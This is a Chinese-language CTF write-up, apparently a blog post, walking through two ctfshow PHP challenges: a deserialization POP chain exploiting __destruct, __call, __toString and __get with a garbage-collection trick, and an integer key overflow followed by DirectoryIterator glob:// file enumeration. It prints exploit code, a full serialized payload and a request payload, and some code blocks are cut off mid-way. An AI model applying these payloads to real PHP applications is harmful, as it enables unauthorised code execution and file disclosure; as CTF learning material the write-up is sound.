这个比赛早在二月底就结束了,其实很早就想写wp了,但是有很多知识点没写,就拖到现在了。
";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}
这个题目有很多值得学习的冷知识,一起来看看吧。
有三个类,一看就知道是pop链,有throw new Exception();就知道要利用GC回收机制。还不知道怎么构造pop链或者不知道GC回收是什么的可以看我前面写的文章
PHP之序列化与反序列化(POP链篇)_errorr0的博客-CSDN博客浅谈PHP中GC回收机制的利用_errorr0的博客-CSDN博客
这个题目对我而言比较难的一个点就是pop链比较难凑,也就是说一眼看不出来。这个时候做题的思路就是随便找一个魔术方法,然后分析从哪到达这个魔术方法以及这个方法又会到哪去。
先分析几个冷门的知识。
__call($func, $args)和__get($name)中的变量如何控制:
object = new errorr1();
echo "__construct()\n";
$this->object->string1;
}
}
class errorr1 {
public $filename;
public function __get($a)
{
$this->filename = new errorr2();
echo "__toString()\n";
echo $a."\n";
$this->filename->function1("bbb");
}
}
class errorr2 {
private $string;
public function __call($a,$b)
{
echo "__call()\n";
echo $a."\n";
var_dump($b);
}
}
$a = new errorr0();
?>
可见如果一个不可访问的属性被访问且调用了__get()方法后会将这个属性的值传给__get()的参数。 __call()也是一个道理,如果调用了一个不存在或不可访问的函数则会把函数名赋给__call()中的第一个变量,函数中的值则会赋给第二个参数,如上图。
call_user_func();这个函数或许经常见,但如果是这个call_user_func([$this, $func."Me"], $args);的话呢?也就是说,第一个参数是数组。直接上测试图解释:
可以看到,如果是数组的话,数组的第一个参数做类,第二个参数做方法。后面的"world" 做函数的参数。
array_walk()函数
这是菜鸟教程给的两个例子,可以了解大概的意思,我还是啰嗦的解释两句:array_walk()第一个参数是选择一个数组,第二个参数放一个函数,函数内的两个参数对选择的那个数组进行分别进行值、键匹配。但是!!题目给的是一个$this什么意思呢,就是遍历一个类,也就是说原本应该是匹配键的那个参数,现在会把一个变量当键匹配,而值就是本应该的值,这个时候我们的骚操作就是把值修改为数组就可以让$fn变为数组,最后匹配$fn[0]的时候通过就可以了。
其实说这个是冷门知识比较牵强,可能对我来说比较坑吧!!
前面讲过,__get()中的是由于访问了不可访问的属性,引起的调用,其中的参数值就是那个不能调用的属性,所以$name="string",有意思的来了,$this->$name,可以看到我给了红标记,本应该是$this->name的,但是现在是这个,而$name="string",所以最后$var = $this->string。
所以最后其实就是$this->string['string']();,我们的目的就是让这个东西可以指向one::MeMeMe()最后就大功告成了。令$string = array("string"=>[new one(),"MeMeMe"]);即可以绕过,不要问我为什么可以,我也不晓得,我看官方wp是这样的
我想什么意思应该都知道,但是为啥可以这么用我是第一次知道 ,记住可以这么用就行。
既然难点和重点都分析完了,那构造exp就是除开那些难点的简单pop链。分析完我就我不细说了,就是从one::__destruct()方法开始然后访问不存在的add()则触发second::__call(),然后触发自身的函数second::addMe(),在里面有个可以把对象连接字符串的点,所以连接到one::__toString(),再访问一个不可访问的值,连接third::__get(),最后到达one::MeMeMe()。
构造的链子为:首部 --> one::__destruct() --> second::__call() --> second::addMe() --> one::__toString() --> third::__get() --> one::MeMeMe() --> 尾部
exp:
"Happy_func");
}
class second {
public $filename;
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
$a = new one();
$b = new one();
$c = new second();
$d = new third(["string"=>[new one(),"MeMeMe"]]);
$a->object = $c;
$c->filename = $b;
$b->object = $d;
$n = NULL;
$m = array(0=>$a,1=>$n);
echo serialize($m);
这两个格子是不可见字符,这个我在前面讲pop链的文章中就提到过了 ,这里的不可见字符为%00
把下面这个1改为0实现GC利用。
最后得到的字符串为:
a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{s:13:"%00third%00string";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;s:6:"MeMeMe";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:0;N;}
数组键溢出 + PHP原生类读取。原生类知识量有点大,后面笔记补,这里考的原生类中的文件操作,可以百度搜索。
前端源码提示了source,访问得源码
注意一个问题,第一层这里
这是个等于号,相当于赋值,而对于数组无法赋值的情况就是当键溢出就行,可以看到上一句有++$c,也就是说我们设置c为int可设置的最大值减1,等它自增后就可以达到溢出无法赋值的效果 ,不过不晓得为啥我在本地127.0.0.1并不能达到上面所说的效果,在服务器上测试倒可以。
挺明了的,只需要令c = 9223372036854775806自增一次溢出就可以了。
接下来就是PHP原生类文件读取。
DirectoryIterator: DirectoryIterator类提供了一个查看文件系统目录内容的简单接口。 FilesystemIterator: 文件系统迭代器。
GlobIterator: 与glob()类似的方式迭代文件系统。
随便用一个就行,怎么用直接百度查查,我不细说了。
这里文件的名是加了md5的虽然可以用burp爆破,不过看wp用正则匹配就很灵性所以我偷个懒,直接照搬好了。
&a=DirectoryIterator&b=glob://flag[a-z0-9]*.php
最后直接读: